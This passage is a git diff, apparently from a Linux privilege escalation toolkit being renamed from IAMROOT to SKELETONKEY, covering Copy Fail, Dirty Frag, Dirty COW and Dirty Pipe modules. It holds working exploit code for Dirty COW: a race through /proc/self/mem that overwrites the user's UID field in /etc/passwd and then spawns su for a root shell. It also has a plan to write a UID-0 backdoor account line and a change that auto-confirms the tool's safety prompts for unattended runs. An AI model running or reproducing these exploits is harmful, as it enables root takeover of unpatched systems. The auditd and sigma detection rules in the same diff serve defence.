|
||||
return (iamroot_result_t)copyfail_detect();
|
||||
return (skeletonkey_result_t)copyfail_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
/* Shared detection rules for the copy_fail family — every member of
|
||||
@@ -99,19 +129,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static const char copy_fail_family_auditd[] =
|
||||
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
||||
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
|
||||
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
|
||||
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
|
||||
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
|
||||
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
|
||||
|
||||
static const char copy_fail_family_sigma[] =
|
||||
"title: Copy Fail / Dirty Frag family exploitation\n"
|
||||
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
|
||||
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
||||
@@ -127,7 +157,7 @@ static const char copy_fail_family_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
const struct iamroot_module copy_fail_module = {
|
||||
const struct skeletonkey_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
||||
@@ -145,19 +175,21 @@ const struct iamroot_module copy_fail_module = {
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
|
||||
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_gcm_detect();
|
||||
skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)copyfail_gcm_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module copy_fail_gcm_module = {
|
||||
const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
.name = "copy_fail_gcm",
|
||||
.cve = "VARIANT",
|
||||
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
||||
@@ -175,19 +207,21 @@ const struct iamroot_module copy_fail_gcm_module = {
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp_detect();
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_esp_module = {
|
||||
const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
.name = "dirty_frag_esp",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
||||
@@ -205,19 +239,21 @@ const struct iamroot_module dirty_frag_esp_module = {
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp6_detect();
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_esp6_module = {
|
||||
const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
.name = "dirty_frag_esp6",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
||||
@@ -235,19 +271,21 @@ const struct iamroot_module dirty_frag_esp6_module = {
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_rxrpc_module = {
|
||||
const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||
.name = "dirty_frag_rxrpc",
|
||||
.cve = "CVE-2026-43500",
|
||||
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
||||
@@ -265,11 +303,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
void iamroot_register_copy_fail_family(void)
|
||||
void skeletonkey_register_copy_fail_family(void)
|
||||
{
|
||||
iamroot_register(©_fail_module);
|
||||
iamroot_register(©_fail_gcm_module);
|
||||
iamroot_register(&dirty_frag_esp_module);
|
||||
iamroot_register(&dirty_frag_esp6_module);
|
||||
iamroot_register(&dirty_frag_rxrpc_module);
|
||||
skeletonkey_register(©_fail_module);
|
||||
skeletonkey_register(©_fail_gcm_module);
|
||||
skeletonkey_register(&dirty_frag_esp_module);
|
||||
skeletonkey_register(&dirty_frag_esp6_module);
|
||||
skeletonkey_register(&dirty_frag_rxrpc_module);
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* copy_fail_family — SKELETONKEY module registry hooks
|
||||
*
|
||||
* The family currently contains five skeletonkey_module entries:
|
||||
*
|
||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||
*
|
||||
* Defined in skeletonkey_modules.c, registered into the global registry
|
||||
* by skeletonkey_register_copy_fail_family() (declared in
|
||||
* core/registry.h).
|
||||
*/
|
||||
|
||||
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module copy_fail_module;
|
||||
extern const struct skeletonkey_module copy_fail_gcm_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp6_module;
|
||||
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||
|
||||
#endif
|
||||
@@ -31,6 +31,7 @@ bool dirtyfail_use_color = true;
|
||||
bool dirtyfail_active_probes = false;
|
||||
bool dirtyfail_no_revert = false;
|
||||
bool dirtyfail_json = false;
|
||||
bool dirtyfail_assume_yes = false;
|
||||
|
||||
static void vlog(FILE *out, const char *prefix, const char *color,
|
||||
const char *fmt, va_list ap)
|
||||
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
|
||||
|
||||
bool typed_confirm(const char *expected)
|
||||
{
|
||||
/* When the caller has already cleared an explicit authorization gate
|
||||
* (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
|
||||
* DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
|
||||
* runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
|
||||
*
|
||||
* The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
|
||||
* it protects the operator's own access rather than gating
|
||||
* authorization, so it always requires an interactive answer. */
|
||||
if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
|
||||
log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
|
||||
return true;
|
||||
}
|
||||
|
||||
char buf[128];
|
||||
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
|
||||
fflush(stdout);
|
||||
|
||||
@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
|
||||
* is redirected to stderr. Set by --json. */
|
||||
extern bool dirtyfail_json;
|
||||
|
||||
/* When true, typed_confirm() auto-satisfies its gate instead of reading
|
||||
* stdin — the caller has already cleared an explicit authorization gate.
|
||||
* SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
|
||||
* (i.e. the --i-know flag) so non-interactive runs like
|
||||
* `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
|
||||
* The YES_BREAK_SSH self-lockout guard is exempt — see typed_confirm(). */
|
||||
extern bool dirtyfail_assume_yes;
|
||||
|
||||
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# NOTICE — dirty_cow (CVE-2016-5195)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2016-5195** — Copy-on-write race via `/proc/self/mem` + `madvise`
|
||||
→ arbitrary file write into the page cache.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **Phil Oester**, October 2016. The bug had been latent in
|
||||
the kernel since ~2007.
|
||||
|
||||
Original advisory: <https://dirtycow.ninja/>
|
||||
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
Two-thread Phil-Oester-style race: writer thread via
|
||||
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
|
||||
`/etc/passwd` UID field flip + `su` for the root shell. Useful for
|
||||
**old systems coverage** — RHEL 6/7 (3.10 baseline), Ubuntu 14.04
|
||||
(3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT.
|
||||
|
||||
Ships auditd watch on `/proc/self/mem` and a sigma rule for non-root
|
||||
mem-open patterns.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_COW_IAMROOT_MODULES_H
|
||||
#define DIRTY_COW_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module dirty_cow_module;
|
||||
|
||||
#endif
|
||||
+76
-36
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — IAMROOT module
|
||||
* dirty_cow_cve_2016_5195 — SKELETONKEY module
|
||||
*
|
||||
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
|
||||
* handling: a thread writing to /proc/self/mem races a thread calling
|
||||
@@ -41,17 +41,21 @@
|
||||
* - execve(su) → shell with uid=0
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdatomic.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <pwd.h>
|
||||
@@ -224,49 +228,57 @@ static void revert_passwd_page_cache(void)
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- iamroot interface ---- */
|
||||
/* ---- skeletonkey interface ---- */
|
||||
|
||||
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||
"/etc/passwd via /proc/self/mem\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = dirty_cow_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = dirty_cow_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
off_t uid_off;
|
||||
@@ -275,7 +287,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
@@ -292,12 +304,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
||||
@@ -305,19 +317,47 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
|
||||
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
|
||||
* surface. Stub out cleanly so the module still registers and
|
||||
* `--list` / `--detect-rules` work on macOS/BSD dev boxes — and so
|
||||
* the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_cow: Linux-only module "
|
||||
"(/proc/self/mem + madvise race) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Embedded detection rules ---- */
|
||||
|
||||
static const char dirty_cow_auditd[] =
|
||||
@@ -325,14 +365,14 @@ static const char dirty_cow_auditd[] =
|
||||
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
|
||||
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
|
||||
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
|
||||
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
|
||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
|
||||
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
|
||||
|
||||
static const char dirty_cow_sigma[] =
|
||||
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
|
||||
"id: 1e2c5d8f-iamroot-dirty-cow\n"
|
||||
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
|
||||
@@ -350,7 +390,7 @@ static const char dirty_cow_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||
|
||||
const struct iamroot_module dirty_cow_module = {
|
||||
const struct skeletonkey_module dirty_cow_module = {
|
||||
.name = "dirty_cow",
|
||||
.cve = "CVE-2016-5195",
|
||||
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
|
||||
@@ -366,7 +406,7 @@ const struct iamroot_module dirty_cow_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_dirty_cow(void)
|
||||
void skeletonkey_register_dirty_cow(void)
|
||||
{
|
||||
iamroot_register(&dirty_cow_module);
|
||||
skeletonkey_register(&dirty_cow_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
|
||||
#define DIRTY_COW_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirty_cow_module;
|
||||
|
||||
#endif
|
||||
@@ -25,7 +25,7 @@ by them.
|
||||
|
||||
Even in 2026, many production deployments still run vulnerable
|
||||
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
|
||||
makes IAMROOT useful as a "historical sweep" tool on long-tail
|
||||
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
|
||||
systems.
|
||||
|
||||
## Implementation plan
|
||||
@@ -34,8 +34,8 @@ systems.
|
||||
`NOTICE.md` when implemented)
|
||||
- `detect()`: kernel version check + `/proc/version` parse + test
|
||||
for fixed-version backports
|
||||
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
|
||||
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
|
||||
backdoor mode
|
||||
- Detection rules: auditd on splice() calls + pipe write patterns,
|
||||
filesystem audit on `/etc/passwd` modification by non-root
|
||||
@@ -44,4 +44,4 @@ systems.
|
||||
|
||||
Pick this up after Phase 1 (module-interface refactor of the
|
||||
copy_fail family) so this module can use the standard
|
||||
`iamroot_module` shape from the start.
|
||||
`skeletonkey_module` shape from the start.
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# NOTICE — dirty_pipe
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2022-0847** — pipe `PIPE_BUF_FLAG_CAN_MERGE` flag inheritance allows
|
||||
arbitrary file write into the page cache.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Max Kellermann** (CM4all GmbH), March 2022.
|
||||
|
||||
Original advisory: <https://dirtypipe.cm4all.com/>
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
This module bundles the canonical splice-into-pipe primitive that
|
||||
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
|
||||
via `su`. Detection covers the splice() syscall against sensitive
|
||||
files and non-root modifications to passwd/shadow.
|
||||
@@ -13,14 +13,14 @@
|
||||
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
|
||||
# any modification by non-root — the Dirty Pipe payload typically
|
||||
# overwrites these to gain root.
|
||||
-w /etc/passwd -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/shadow -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
|
||||
|
||||
# Watch every splice() syscall — combined with the file watches above
|
||||
# this catches the canonical exploit shape. (High volume on servers
|
||||
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
|
||||
# exclude web servers.)
|
||||
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
|
||||
id: f6b13c08-iamroot-dirty-pipe
|
||||
id: f6b13c08-skeletonkey-dirty-pipe
|
||||
status: experimental
|
||||
description: |
|
||||
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
|
||||
@@ -10,7 +10,7 @@ description: |
|
||||
references:
|
||||
- https://dirtypipe.cm4all.com/
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
|
||||
author: IAMROOT
|
||||
author: SKELETONKEY
|
||||
date: 2026/05/16
|
||||
logsource:
|
||||
product: linux
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
#define DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
+93
-53
@@ -1,9 +1,9 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module
|
